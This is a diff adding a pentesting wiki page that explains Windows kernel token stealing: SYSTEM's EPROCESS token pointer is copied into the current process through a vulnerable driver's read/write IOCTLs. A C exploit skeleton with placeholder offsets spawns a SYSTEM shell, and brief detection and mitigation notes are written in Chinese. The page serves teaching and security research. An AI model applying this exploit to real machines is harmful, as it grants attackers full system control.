-0,0 +1,122 @@ +# Windows kernel EoP: Token stealing with arbitrary kernel R/W + +{{#include ../../banners/hacktricks-training.md}} + +## Overview + +If a vulnerable driver exposes an IOCTL that gives an attacker arbitrary kernel read and/or write primitives, elevating to NT AUTHORITY\SYSTEM can often be achieved by stealing a SYSTEM access token. The technique copies the Token pointer from a SYSTEM process’ EPROCESS into the current process’ EPROCESS. + +Why it works: +- Each process has an EPROCESS structure that contains (among other fields) a Token (actually an EX_FAST_REF to a token object). +- The SYSTEM process (PID 4) holds a token with all privileges enabled. +- Replacing the current process’ EPROCESS.Token with the SYSTEM token pointer makes the current process run as SYSTEM immediately. + +> Offsets in EPROCESS vary across Windows versions. Determine them dynamically (symbols) or use version-specific constants. Also remember that EPROCESS.Token is an EX_FAST_REF (low 3 bits are reference count flags). + +## High-level steps + +1) Locate ntoskrnl.exe base and resolve the address of PsInitialSystemProcess. +- From user mode, use NtQuerySystemInformation(SystemModuleInformation) or EnumDeviceDrivers to get loaded driver bases. +- Add the offset of PsInitialSystemProcess (from symbols/reversing) to the kernel base to get its address. +2) Read the pointer at PsInitialSystemProcess → this is a kernel pointer to SYSTEM’s EPROCESS. +3) From SYSTEM EPROCESS, read UniqueProcessId and ActiveProcessLinks offsets to traverse the doubly linked list of EPROCESS structures (ActiveProcessLinks.Flink/Blink) until you find the EPROCESS whose UniqueProcessId equals GetCurrentProcessId(). Keep both: +- EPROCESS_SYSTEM (for SYSTEM) +- EPROCESS_SELF (for the current process) +4) Read SYSTEM token value: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset). +- Mask out the low 3 bits: Token_SYS_masked = Token_SYS & ~0xF (commonly ~0xF or ~0x7 depending on build; on x64 the low 3 bits are used — 0xFFFFFFFFFFFFFFF8 mask). +5) Option A (common): Preserve the low 3 bits from your current token and splice them onto SYSTEM’s pointer to keep the embedded ref count consistent. +- Token_ME = *(EPROCESS_SELF + TokenOffset) +- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7)) +6) Write Token_NEW back into (EPROCESS_SELF + TokenOffset) using your kernel write primitive. +7) Your current process is now SYSTEM. Optionally spawn a new cmd.exe or powershell.exe to confirm. + +## Pseudocode + +Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your driver’s interface. +```c +#include +#include +#include + +// Device + IOCTLs are driver-specific +#define DEV_PATH "\\\\.\\VulnDrv" +#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS) + +// Version-specific (examples only – resolve per build!) +static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies +static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies +static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies + +BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) { +struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret; +in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE); +} +BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) { +struct { uint64_t addr, val; } in; DWORD ret; +in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL); +} + +// Get ntoskrnl base (one option) +uint64_t get_nt_base(void) { +LPVOID drivers[1024]; DWORD cbNeeded; +if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) { +return (uint64_t)drivers[0]; // first is typically ntoskrnl +} +return 0; +} + +int main(void) { +HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); +if (h == INVALID_HANDLE_VALUE) return 1; + +// 1) Resolve PsInitialSystemProcess +uint64_t nt = get_nt_base(); +uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build + +// 2) Read SYSTEM EPROCESS +uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS); + +// 3) Walk ActiveProcessLinks to find current EPROCESS +DWORD myPid = GetCurrentProcessId(); +uint64_t cur = EPROC_SYS; // list is circular +uint64_t EPROC_ME = 0; +do { +uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid); +if ((DWORD)pid == myPid) { EPROC_ME = cur; break; } +uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink); +cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD +} while (cur != EPROC_SYS); + +// 4) Read tokens +uint64_t tok_sys, tok_me; +kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys); +kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me); + +// 5) Mask EX_FAST_REF low bits and splice refcount bits +uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds +uint64_t tok_new = tok_sys_mask | (tok_me & 0x7); + +// 6) Write back +kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new); + +// 7) We are SYSTEM now +system("cmd.exe"); +return 0; +} +``` +注意: +- 偏移:使用 WinDbg 的 `dt nt!_EPROCESS` 配合目标的 PDBs,或使用运行时符号加载器,以获取正确的偏移。不要盲目硬编码。 +- 掩码:在 x64 上 token 是一个 EX_FAST_REF;低 3 位是引用计数位。保留你 token 的原始低位可以避免立即的引用计数不一致。 +- 稳定性:优先提升当前进程;如果你提升的是一个短生命周期的 helper,当它退出时你可能会失去 SYSTEM。 + +## 检测 & 缓解 +- 加载未签名或不受信任的第三方驱动并暴露强大的 IOCTLs 是根本原因。 +- Kernel Driver Blocklist (HVCI/CI)、DeviceGuard 和 Attack Surface Reduction 规则可以阻止易受攻击的驱动加载。 +- EDR 可以监视实现任意读/写的可疑 IOCTL 序列以及 token swaps。 + +## References +- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html) + +{{#include ../../banners/hacktricks-training.md}}